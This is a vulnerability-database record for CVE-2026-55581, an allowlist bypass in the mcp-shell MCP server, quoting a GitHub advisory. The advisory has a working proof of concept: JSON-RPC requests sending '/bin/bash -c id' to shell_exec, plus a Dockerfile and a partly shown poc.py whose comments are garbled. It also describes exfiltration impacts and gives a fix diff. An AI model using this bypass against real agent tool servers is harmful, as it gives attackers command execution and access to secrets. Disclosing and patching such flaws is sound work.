{"id":"CVE-2026-55581","aliases":["EUVD-2026-65549","GHSA-3x77-wg38-92r3","GO-2026-6290","SUSE-SU-2026:23625-1","openSUSE-SU-2026:21761-1"],"status":"published","title":"mcp-shell: Secure Mode Allowlist Bypass via Default `/bin/bash` Executable","description":"mcp-shell is an MCP server for running shell commands securely, auditably, and on demand. Prior to 0.6.0, the default Docker security.yaml includes /bin/bash in allowed_executables, while security.go validates only the first token and checkBlockedPatternsAndCommands does not reject the shell command-mode flag -c. A caller of the shell_exec MCP tool can provide the command argument `/bin/bash -c \u003carbitrary-command\u003e`, which passes validation and reaches executor.go, where parseCommand and exec.CommandContext execute the arbitrary command as mcpuser outside the intended allowlist. This issue is fixed in version 0.6.0.","severity":{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00454,"percentile":0.39859,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1188","CWE-183","CWE-78"],"published":"2026-08-25T15:40:10Z","modified":"2026-10-28T02:30:31Z","fixes":[{"ecosystem":"Go","package":"github.com/sonirico/mcp-shell","fixed_in":["0.6.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/sonirico/mcp-shell","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.6.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/sonirico/mcp-shell","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.6.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/sonirico/mcp-shell","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.6.0"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260827T195228-160000.1.1"}]}],"bundled":181},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260827T195228-160000.1.1"}]}],"bundled":181},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260827T195228-160000.1.1"}]}],"bundled":181}],"products":[{"vendor":"sonirico","product":"mcp-shell"}],"references":[{"url":"https://github.com/sonirico/mcp-shell/security/advisories/GHSA-3x77-wg38-92r3","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/sonirico/mcp-shell/pull/16","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/sonirico/mcp-shell/commit/f31377fce6ec31114e5a4398c0e5270552bce09f","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/sonirico/mcp-shell/releases/tag/v0.6.0","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-3x77-wg38-92r3"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55581.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55581","tags":["advisory"]},{"url":"https://github.com/sonirico/mcp-shell","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623625-1/","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-10722","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11465","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11479","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11481","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11500","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11624","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-17106","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25688","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25699","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25700","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-32637","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33582","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33818","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34031","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34033","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34177","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34178","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34179","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-3433","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34905","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34976","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35172","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35511","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39821","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39832","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39833","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39904","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-40173","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41179","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41181","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41327","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41568","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42350","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42508","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-43983","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45099","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45404","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46600","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46603","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-47427","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48119","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48491","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48786","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49446","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49447","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49980","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50567","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50568","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50569","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50570","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50879","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50884","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50891","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52855","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52856","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52857","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53469","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53470","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53471","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53474","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53475","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53476","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53551","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53622","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53657","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53658","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53941","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54061","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54162","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54167","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54168","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54245","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54332","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54345","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54523","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54526","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54563","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54572","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54593","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54638","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54650","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54680","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54693","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54719","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54725","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54735","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54763","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54764","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54765","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54787","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54908","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54909","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54910","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54917","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55061","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55062","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55092","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55149","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55477","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55495","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55496","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55497","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55499","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55502","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55580","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55581","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55582","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55637","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55677","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56852","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56853","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56858","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56859","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56860","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56862","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56864","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56865","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56867","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56868","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56869","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56870","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56871","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56872","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56873","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56874","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-57210","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-57497","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59732","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59733","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6046","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-61711","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-61712","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-62323","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-62325","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-63328","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64679","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64859","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64863","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64865","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64866","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64868","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65600","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65601","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65602","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65834","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65835","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-66063","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-66064","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6689","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67309","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6739","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67437","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67438","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67439","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67447","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67448","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6961","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71309","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71310","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71311","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71312","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71313","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71324","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71325","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71326","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71327","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71479","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71556","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71557","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-7184","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73080","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73499","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73500","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73502","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73505","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73506","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73509","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73564","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-7387","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76905","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-77354","tags":["web"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-55581","title":"mcp-shell: Secure Mode Allowlist Bypass via Default `/bin/bash` Executable","description":"mcp-shell is an MCP server for running shell commands securely, auditably, and on demand. Prior to 0.6.0, the default Docker security.yaml includes /bin/bash in allowed_executables, while security.go validates only the first token and checkBlockedPatternsAndCommands does not reject the shell command-mode flag -c. A caller of the shell_exec MCP tool can provide the command argument `/bin/bash -c \u003carbitrary-command\u003e`, which passes validation and reaches executor.go, where parseCommand and exec.CommandContext execute the arbitrary command as mcpuser outside the intended allowlist. This issue is fixed in version 0.6.0.","status":"published","published":"2026-08-25T15:40:10.992Z","modified":"2026-08-25T19:01:56.083Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-78","CWE-183","CWE-1188"],"updated_at":"2026-11-02T14:20:12.260247Z"}],"euvd":[{"id":"EUVD-2026-65549","description":"mcp-shell is an MCP server for running shell commands securely, auditably, and on demand. Prior to 0.6.0, the default Docker security.yaml includes /bin/bash in allowed_executables, while security.go validates only the first token and checkBlockedPatternsAndCommands does not reject the shell command-mode flag -c. A caller of the shell_exec MCP tool can provide the command argument `/bin/bash -c \u003carbitrary-command\u003e`, which passes validation and reaches executor.go, where parseCommand and exec.CommandContext execute the arbitrary command as mcpuser outside the intended allowlist. This issue is fixed in version 0.6.0.","status":"published","published":"2026-08-25T15:40:10Z","modified":"2026-08-25T19:01:56Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T18:01:32.174502Z"}],"ghsa":[{"id":"GHSA-3x77-wg38-92r3","title":"mcp-shell has a Secure Mode Allowlist Bypass via Default `/bin/bash` Executable","description":"### Summary\n\n`mcp-shell` ships a default Docker configuration (`security.yaml`) that includes `/bin/bash` in the `allowed_executables` allowlist. The command validator (`security.go`) only checks whether the first token of the supplied command matches an allowed executable; it does not inspect or reject shell command-mode flags such as `-c`. As a result, any MCP tool caller can send `command=/bin/bash -c \u003carbitrary-command\u003e` to the `shell_exec` tool and execute commands that are not in the allowlist — including `id`, `env`, `curl`, `wget`, and any other binary present in the container. The bypass works with the default Docker image, requires no authentication, and requires no modifications to server configuration. Successful exploitation gives the attacker arbitrary OS command execution inside the container as `mcpuser`.\n\n### Details\n\n`mcp-shell` implements a *secure mode* in which command execution is restricted to an explicit allowlist of executables defined in `security.yaml`. The Docker image ships this file with the following entry:\n\n```yaml\n# security.yaml (line 29)\nallowed_executables:\n - \"ls\"\n - ...\n - \"/bin/bash\" # Only allow if you trust the arguments\n```\n\nThe comment itself acknowledges the risk, but the shipped default does not enforce any argument-level restriction. The validation logic in `security.go` is responsible for enforcing secure mode:\n\n```go\n// security.go:84-96\nfor _, allowed := range v.config.AllowedExecutables {\n if v.matchesExecutable(executable, allowed) {\n if err := v.checkBlockedPatternsAndCommands(command); err != nil {\n return err\n }\n return nil\n }\n}\n```\n\n`executable` is derived solely from `parts[0]` after splitting the input on whitespace (`security.go:67`). When the command is `/bin/bash -c id`, `executable` evaluates to `/bin/bash`, which matches the allowlist entry. The `-c` flag and subsequent arguments are passed to `checkBlockedPatternsAndCommands`, which only checks for shell metacharacters (`|`, `\u0026`, `;`, `\u003c`, `\u003e`, `(`, `)`, `{`, `}`, `[`, `]`, `` ` ``, `$`, `\\`, `\"`, `'`) and a configurable list of `blocked_commands`/`blocked_patterns` — both of which default to empty arrays in the shipped configuration. The flag `-c` does not match any blocked metacharacter, so the check passes.\n\nThe validated command then reaches the executor:\n\n```go\n// executor.go:149-163\nexecutable, args, err := e.parseCommand(command)\n// ...\ncmd = exec.CommandContext(ctx, executable, args...)\n```\n\n`parseCommand` splits the command string, yielding `executable=\"/bin/bash\"` and `args=[\"-c\", \"id\"]`. `exec.CommandContext` is invoked directly — no shell is spawned by the executor itself — but `/bin/bash -c id` is equivalent to a shell invocation, executing `id` outside the allowlist.\n\n**Data flow (source → sink):**\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `Dockerfile:55` | `COPY security.yaml /etc/mcp-shell/security.yaml` — bundles vulnerable config into image |\n| 2 | `Dockerfile:57` | `ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml` — activates config by default |\n| 3 | `security.yaml:29` | `/bin/bash` registered in `allowed_executables` |\n| 4 | `main.go:84-102` | MCP tool `shell_exec` registered with required `command` parameter |\n| 5 | `handler.go:34` | `command := request.RequireString(\"command\")` — attacker-controlled input received |\n| 6 | `handler.go:49` | `h.validator.validateCommand(command)` — validation called |\n| 7 | `security.go:67-96` | `executable = parts[0]` matches `/bin/bash`; `-c` not blocked; returns `nil` |\n| 8 | `handler.go:59` | Validated command forwarded to executor |\n| 9 | `executor.go:163` | `exec.CommandContext(ctx, \"/bin/bash\", \"-c\", \"id\")` — sink: arbitrary execution |\n\n### PoC\n\n**Prerequisites:**\n\n- Docker installed and accessible.\n- Repository source code checked out (build context is the repository root).\n- `python3` available (for the automated PoC script).\n\n**Step 1 — Build the Docker image**\n\n```bash\ndocker build \\\n -f vuln-001/Dockerfile \\\n /path/to/mcp-shell-repo \\\n -t mcp-shell-vuln-001:latest\n```\n\n**Step 2 — Run the PoC script**\n\n```bash\npython3 vuln-001/poc.py mcp-shell-vuln-001:latest\n```\n\nThe script sends three MCP JSON-RPC requests over stdio:\n\n1. `initialize` handshake\n2. `tools/call shell_exec` with `command=\"/bin/bash -c id\"` — **exploit payload**\n3. `tools/call shell_exec` with `command=\"id\"` — **control**: direct invocation must be blocked\n\n**Expected output (exploit success):**\n\n```\n[id=2] /bin/bash -c id response:\n → status='success', exit_code=0, stdout='uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)'\n\n[+] PASS: uid= confirmed → /bin/bash -c via arbitrary command execution successful!\n\n[+] control confirmed: 'id' direct execution blocked (allowlist behavior normal)\n → allowlist bypass /bin/bash -c only through the path occurs proven\n```\n\n**Alternatively, using raw `printf` (no Python required):**\n\n```bash\nprintf '%s\\n' \\\n '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\"clientInfo\":{\"name\":\"poc\",\"version\":\"0.0.1\"}}}' \\\n '{\"jsonrpc\":\"2.0\",\"method\":\"notifications/initialized\",\"params\":{}}' \\\n '{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"shell_exec\",\"arguments\":{\"command\":\"/bin/bash -c id\",\"base64\":false}}}' \\\n| docker run --rm -i mcp-shell-vuln-001:latest\n```\n\n**Observed MCP response:**\n\n```json\n{\n \"command\": \"/bin/bash -c id\",\n \"execution_time\": \"3.854555ms\",\n \"exit_code\": 0,\n \"security_info\": {\"security_enabled\": true, \"working_dir\": \"/tmp\", \"timeout_applied\": true},\n \"status\": \"success\",\n \"stderr\": \"\",\n \"stdout\": \"uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)\"\n}\n```\n\n**Remediation (patch guidance):**\n\n1. Remove shell interpreters from the default `security.yaml` allowlist:\n\n```diff\n--- a/security.yaml\n+++ b/security.yaml\n- - \"/bin/bash\" # Only allow if you trust the arguments\n```\n\n2. Add argument-level validation in `security.go` to block shell command-mode flags even when a shell interpreter is allowlisted:\n\n```diff\n--- a/security.go\n+++ b/security.go\n executable := parts[0]\n+ args := parts[1:]\n+\n+ if isShellCommandMode(executable, args) {\n+ return fmt.Errorf(\"shell command mode is not allowed in secure mode: %s\", executable)\n+ }\n\n // Check if the executable is in the allowlist\n for _, allowed := range v.config.AllowedExecutables {\n ...\n }\n+\n+ func isShellCommandMode(executable string, args []string) bool {\n+ base := filepath.Base(executable)\n+ switch base {\n+ case \"sh\", \"bash\", \"dash\", \"ash\", \"zsh\", \"ksh\":\n+ for _, arg := range args {\n+ if arg == \"-c\" || (strings.HasPrefix(arg, \"-\") \u0026\u0026 strings.Contains(arg, \"c\")) {\n+ return true\n+ }\n+ }\n+ }\n+ return false\n+ }\n```\n\n### Impact\n\nThis is an **OS Command Injection** vulnerability (CWE-78). The `shell_exec` MCP tool is designed to execute only pre-approved executables; the bypass allows an attacker to run arbitrary commands present in the container image (`curl`, `wget`, `env`, `sed`, `grep`, `tar`, etc. — all installed by the Dockerfile) under the identity of `mcpuser` (UID 1000).\n\n**Who is impacted:**\n\n- **Any operator** deploying the official Docker image without modifying the default `security.yaml` is vulnerable immediately upon deployment. No custom configuration, no elevated privileges, and no prior authentication are required.\n- **MCP clients** that interact with a vulnerable `mcp-shell` instance — including automated AI agents, LLM orchestration platforms, and CI/CD pipelines — may be leveraged to exfiltrate secrets, tamper with files accessible to `mcpuser`, or pivot further within the container's network.\n- The `--network=none` flag used in the PoC demonstrates successful exploitation even with no network access; in production deployments with network access, the impact extends to data exfiltration and lateral movement.\n\n**Concrete consequences of exploitation:**\n\n- **Confidentiality:** Dump environment variables (`/bin/bash -c env`), read files, or exfiltrate credentials visible to `mcpuser`.\n- **Integrity:** Write or modify files within the container's writable filesystem.\n- **Availability:** Consume container resources or terminate processes.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 PoC Dockerfile: Secure Mode Allowlist Bypass via /bin/bash -c\n# build context: ../repo directory\n# usage: docker build -f vuln-001/Dockerfile ../repo -t mcp-shell-vuln-001:latest\n\n# Build stage\nFROM golang:1.25-alpine AS builder\n\nRUN apk add --no-cache git\n\nWORKDIR /app\n\nCOPY go.mod go.sum ./\nRUN go mod download\n\nCOPY *.go ./\n\nARG VERSION=vuln-001-poc\nRUN CGO_ENABLED=0 GOOS=linux go build \\\n -ldflags \"-X main.version=${VERSION} -s -w\" \\\n -a -installsuffix cgo \\\n -o mcp-shell .\n\n# Runtime stage\nFROM alpine:3.22\n\nRUN apk add --no-cache \\\n bash \\\n curl \\\n wget \\\n git \\\n make \\\n findutils \\\n grep \\\n sed \\\n gawk \\\n tar \\\n gzip \\\n unzip \\\n ca-certificates \\\n \u0026\u0026 rm -rf /var/cache/apk/*\n\nRUN addgroup -g 1000 mcpuser \u0026\u0026 \\\n adduser -D -s /bin/bash -u 1000 -G mcpuser mcpuser\n\nRUN mkdir -p /tmp/mcp-workspace \u0026\u0026 \\\n chown mcpuser:mcpuser /tmp/mcp-workspace\n\nRUN mkdir -p /etc/mcp-shell \u0026\u0026 \\\n chown mcpuser:mcpuser /etc/mcp-shell\n\nCOPY --from=builder /app/mcp-shell /usr/local/bin/mcp-shell\nRUN chmod +x /usr/local/bin/mcp-shell\n\n# Vulnerable default configuration: /bin/bash text allowed_executables text containsdone\nCOPY security.yaml /etc/mcp-shell/security.yaml\n\nENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml\nENV PATH=\"/usr/local/bin:${PATH}\"\n\nUSER mcpuser\nWORKDIR /tmp/mcp-workspace\n\nENTRYPOINT [\"mcp-shell\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC: Secure Mode Allowlist Bypass via /bin/bash -c\n\nVulnerability summary:\n security.yamltext allowed_executablestext /bin/bash text registerbecomes text,\n validateExecutableCommand (security.go:60-105)text parts[0]=/bin/bash only allowlist checkand\n -c flagtext blocktext text. text /bin/bash -c id text verificationtext passedtext\n executor.go:163 from exec.CommandContext(ctx, \"/bin/bash\", \"-c\", \"id\") text executebecomes\n allowlisttext without arbitrary commandtext(id, env etc.)text executedonetext.\n\nusage:\n python3 poc.py [IMAGE_NAME]\n default text: mcp-shell-vuln-001:latest\n\"\"\"\n\nimport subprocess\nimport json\nimport sys\n\nIMAGE = sys.argv[1] if len(sys.argv) \u003e 1 else \"mcp-shell-vuln-001:latest\"\n\n\ndef make_msg(obj):\n return json.dumps(obj, separators=(',', ':'))\n\n\n# MCP JSON-RPC message whentext\nMESSAGES = [\n # 1. initialize handshake\n make_msg({\n \"jsonrpc\": \"2.0\", \"id\": 1,\n \"method\": \"initialize\",\n \"params\": {\n \"protocolVersion\": \"2024-11-05\",\n \"capabilities\": {},\n \"clientInfo\": {\"name\": \"vuln-001-poc\", \"version\": \"0.0.1\"}\n }\n }),\n # 2. initialized text (response none)\n make_msg({\"jsonrpc\": \"2.0\", \"method\": \"notifications/initialized\", \"params\": {}}),\n # 3. vulnerability text: /bin/bash -c id\n # id text allowlisttext textonly /bin/bash text because it exists verification passed → id execute\n make_msg({\n \"jsonrpc\": \"2.0\", \"id\": 2,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"shell_exec\",\n \"arguments\": {\"command\": \"/bin/bash -c id\", \"base64\": False}\n }\n }),\n # 4. comparison: id directly execute → allowlisttext because 